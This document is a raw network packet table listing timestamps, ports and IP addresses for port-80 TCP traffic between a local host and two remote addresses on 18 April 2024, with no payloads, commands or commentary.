Apr 18, 2024 23:40:04.368012905 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368048906 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368060112 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368060112 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368083954 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368132114 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368132114 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368136883 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368175030 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368211985 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368232012 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368232012 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368247986 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368284941 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368294954 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368294954 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368320942 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368330956 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368357897 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368369102 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368392944 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368401051 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368428946 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368441105 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368489027 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368525982 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368531942 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368531942 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368561983 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368597984 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368632078 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368659019 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368659019 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368659019 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368666887 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368684053 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368704081 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368741989 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368752003 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368752003 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368777990 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368813992 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368850946 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368861914 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368861914 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368861914 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368886948 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368921995 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368923903 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368938923 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368959904 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.368978024 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.368998051 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369034052 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369035006 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369035006 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369069099 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369105101 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369108915 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369108915 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369142056 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369179010 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369211912 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369211912 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369215012 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369240999 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369251966 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369287968 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369296074 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369297028 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369326115 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369360924 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369376898 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369376898 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369395971 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369411945 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369431019 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369463921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369467020 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369492054 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369503021 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369539022 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369575977 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.369590998 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369590998 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369590998 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369663954 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.369978905 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370017052 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370034933 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370053053 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370069981 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370090008 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370116949 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370126009 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370165110 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370184898 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370201111 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370207071 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370220900 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370240927 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370264053 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370277882 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370313883 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370315075 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370325089 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370348930 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370382071 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370383024 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370419979 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370424032 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370424032 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370455980 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370486021 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370491028 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370502949 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370527029 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370563030 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370599031 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370599031 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370599031 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370609045 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370636940 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370671988 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370707989 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370712042 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370712042 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370712042 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370745897 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370775938 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370783091 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370819092 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370820045 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370835066 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370855093 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370889902 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370924950 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370924950 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370925903 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370954037 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.370961905 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.370999098 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371033907 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371047974 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371047974 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371047974 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371069908 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371090889 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371107101 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371136904 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371144056 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371153116 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371181965 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371211052 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371217966 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371227980 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371254921 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371283054 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371292114 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371326923 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371341944 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371341944 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371362925 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371377945 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371400118 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371436119 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371442080 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371442080 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371471882 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371505022 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371507883 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371520042 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371542931 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371578932 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371604919 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371604919 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371617079 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371620893 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371653080 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371689081 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371700048 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371700048 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371725082 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371741056 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371761084 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371795893 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371831894 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371848106 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371865988 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371865988 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371867895 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371875048 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371910095 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371925116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.371933937 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.371961117 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372011900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372050047 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372060061 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372061014 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372061014 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372086048 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372143030 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372150898 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372150898 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372181892 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372217894 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372246981 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372246981 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372253895 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372289896 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372298002 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372298002 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372327089 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372344017 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372361898 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372386932 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372399092 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372437000 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372456074 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372456074 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372473001 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372509003 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372510910 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372525930 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372543097 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372567892 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372579098 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372601032 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372613907 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372648954 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372651100 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372685909 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372720957 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372725010 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372725010 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372725010 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372756958 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372793913 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372801065 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372801065 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372831106 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372867107 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372903109 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372903109 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372903109 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372920990 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.372939110 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.372975111 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.373009920 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.373009920 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.373011112 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.373012066 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.373131990 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.379219055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379231930 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379291058 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.379359961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379374027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379415035 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.379558086 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379569054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379606009 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.379641056 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.379726887 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379738092 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379749060 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379760027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379770041 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379780054 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.379781961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379793882 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379800081 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.379806995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379817963 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379821062 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.379828930 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379841089 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.379842997 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.379864931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.379884005 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.379988909 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380000114 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380012035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380021095 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380031109 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380042076 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.380043030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380075932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.380075932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.380137920 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.380171061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380182981 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380193949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380204916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380217075 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.380250931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.380250931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.380352974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380408049 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.380515099 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380527020 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380537987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380548954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380558968 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380568981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.380569935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380582094 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380588055 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.380593061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380604029 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380605936 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.380621910 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380626917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.380651951 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.380666971 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380671978 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.380712986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.380872011 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.380922079 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.614310980 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.614411116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.614423990 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.614428997 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.614447117 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.614464998 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.614469051 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.614469051 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.614625931 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.614840984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.625089884 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.625108957 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.625421047 CEST	80	49738	193.233.132.56	192.168.2.4
